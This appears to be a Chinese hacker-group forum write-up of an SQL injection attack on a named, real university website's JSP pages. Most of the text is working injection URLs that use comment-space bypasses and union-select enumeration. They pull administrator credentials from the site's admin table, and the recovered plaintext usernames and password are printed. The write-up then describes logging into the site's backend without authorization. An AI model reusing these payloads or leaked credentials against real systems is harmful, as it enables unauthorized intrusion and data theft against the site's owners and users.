作者:YoCo Smart
来自:习科信息技术 ***作战营
::{ Silic Group Hacker Army }::
site:http://blackbap.org
前些日子(似乎很久很久以前),小X在群里发了一个太平洋汽车网站的注入,jsp的,安敏似乎问过她似乎也问过我,还有谁的,longlong ago了,记不清了,只记得当时安敏似乎对jsp注入很惊奇,或者说。。。总之印象很深。在补充书的最后素材时,终于功夫不负有心人,找到了jsp绝好的实例,这里放出来分享下。网上jsp注入的实例似乎并不多,能拿来练的似乎就没有。这里放一个,供大家研究和学习。
jsp的注入没什么特殊,注入并不取决于脚本,而是取决于数据库的类型。例如这个jsp网站就用的MySql数据库,说实话,如果他用Oracle呵呵我还真拿不下来。
好了,回到正文。
我找到的第一个注入点在这里:
http://cie.zjgsu.edu.cn/cie/web/newDetail.do?newsid=599
加了引号后出错,加+and+1=1提示
 

javax.servlet.ServletException: org.apache.jasper.JasperException: javax.servlet.ServletException: java.sql.SQLException: 第 1 行: 'and1' 附近有语法错误。


and和1连一起了。那么把+换成/**/再来。这次返回的是正常页面了,呵呵,真是乐死我了,居然用MySql数据库。继续1=2访问回显错误500页面。好了,宣布开始猜字段显示位。我order by了半天,他一直一个提示:
http://cie.zjgsu.edu.cn/cie/web/newDetail.do?newsid=599/**/and/**/1=1/**/union/**/select/**/*/**/order/**/by/**/0
ORDER BY 子句中的位置号 0 超过了选择列表中项数目。
http://cie.zjgsu.edu.cn/cie/web/newDetail.do?newsid=599/**/and/**/1=1/**/union/**/select/**/*/**/order/**/by/**/10000000
ORDER BY 子句中的位置号 10000000 超过了选择列表中项数目。
难道是我的用法不对?好吧,我承认学艺不精,你狠,没关系,我比你还狠,来,咱们union select一个一个来,复制“,1”重复粘帖回车粘帖回车。。。。
http://cie.zjgsu.edu.cn/cie/web/newDetail.do?newsid=599/**/and/**/1=1/**/union/**/select/**/1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
我晕,都这么长了,还是提示:
 

包含 UNION 运算符的 SQL 语句中的所有查询都必须在目标列表中具有相同数目的表达式。


这接晕死。。。这么狠,看来这个注入点不能用啊。
1.png


没辙,谷歌一下,看看人品怎样。搜索:
site:cie.zjgsu.edu.cn inurl:.jsp?
2.png


还不少呢。选来选去,最后选了这个地方:
http://cie.zjgsu.edu.cn/cie/web/teacher_detail.jsp?id=130
加引号回车访问,无错误回显,但是页面到中间就断了。
3.png


本以为是网速不行,中间丢包了。但是网速很快,刷新连眨眼都不用就显示完页面内容了,刷新了好几次一直都这样断。重新找了几个页面变量后面加引号竟然都这样。而且是一个地方段掉的
变量后面加/**/and/**/1=1就又返回正常,但是如果/**/and/**/1=2就又断了。第一次见到这么诡异的注入点。要么就是有错误回显,要么就没有,空白,哪还有html标签传到一半的一半“<”就断了的?
如果这是注入点,那么成功率可能不高,要么跟上一个一样,出不来字段数,要么这就不是一个注入点。
不管那么多,死马当活马医先。
union select继续猜字段数,order by不能用,加一个回车加一个回车,重复到27个,嘿,居然显示正常页面了,内牛满面啊。。。
http://cie.zjgsu.edu.cn/cie/web/teacher_detail.jsp?id=130/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
4.png


这不,显示位就出来了?随手+随习惯,来了个/**/from/**/admin,呵,居然又是正常页面,传说中的人品爆发降临在我身上了?那么from /**/MySql.user呢。。晕,又是截断了的页面。看来注入点可用,admin字段存在,MySql数据库无权。
字段名还懒得猜,随手想先看看数据库名,这一看不要紧,差点没雷死我。
随便找个显示位,方上database()居然又出现错误截断。。。哇靠!那么hex(database())呢。。。还是错误。郁闷。
既然database函数不能用,老老实实猜吧。
进入管理入口,看源代码
 

  1. <td align="center" valign="bottom">
     
  2. 用户名:<input type="text" class="log_input" name="aname" />
     
  3. 密码: <input type="password" class="log_input" name="apsw" />
     
  4. <input type="submit" name="submit" value="登陆" class="log_button" />
     
  5. </td>
复制代码


我猜管理员的字段名可能是aname和apsw
5.png


不过最后证明,我的猜测是错的。这个一会儿说。先说一段小插曲。
猜字段名的时候,发现字段中所有的函数都不能用。
load_file、concat、database()、user()、。。。。。任何一个都是错误的,哪怕我来了一个hex(id)都显示错误。。我直接无语掉
正当我“自暴自弃”的时候,突然发现灵感一现char(33)填入某字段,页面显示出了不起眼的"!",我晕。。。那么hex(5f)。。哦,居然显示出来了。
看来字段被限制了执行XX,管理员的杰作。
既然char(33)能显示,那么如果字段名正确估计也能显示,填入字段名为id,居然显示出来字段数为5。
那么继续,猜几个常用的字段名,管理员字段数居然出来了。管理员字段没我想的那么复杂,user和pass而已
4号位置填user,14号位置填上pass回车访问
http://cie.zjgsu.edu.cn/cie/web/teacher_detail.jsp?id=130/**/and/**/1=2/**/union/**/select/**/1,2,3,user,5,6,7,8,9,10,11,12,13,pass,15,16,17,18,19,20,21,22,23,24,25,26,27/**/from/**/admin
就出来答案了
6.png


dbo和83088309明文啊。可是去后台登陆,这个却显示错误。我大概猜到是什么原因了,估计是序号的问题。
原来的注入语句后面加个where条件句/**/where/**/id=5并且把原来语句中的user换回数字,访问
http://cie.zjgsu.edu.cn/cie/web/teacher_detail.jsp?id=130/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,pass,15,16,17,18,19,20,21,22,23,24,25,26,27/**/from/**/admin/**/where/**/id=5
好了,这次密码出来了:adminxxlab
7.png


密码出来了,用户名照样搬就可以了,把pass换成user访问。
一开始我想当然的认为user字段就是管理员的名称字段,但是根据5楼所说,这个确实不是登录名字段,登录名称字段另有其他。╮(╯_╰)╭无语了。以为是另成,当时并没深究下去,刚刚来看了5楼说的,当时确实是自己想当然的犯了迷糊,这里特此更正下。
不过看这个密码不用注都能猜到,用户名就是admin
后台登陆,瀑布汗,居然清一色的eweb。看源代码,应该是有人更早就进来过了,把上传组件部分注释掉了
8.png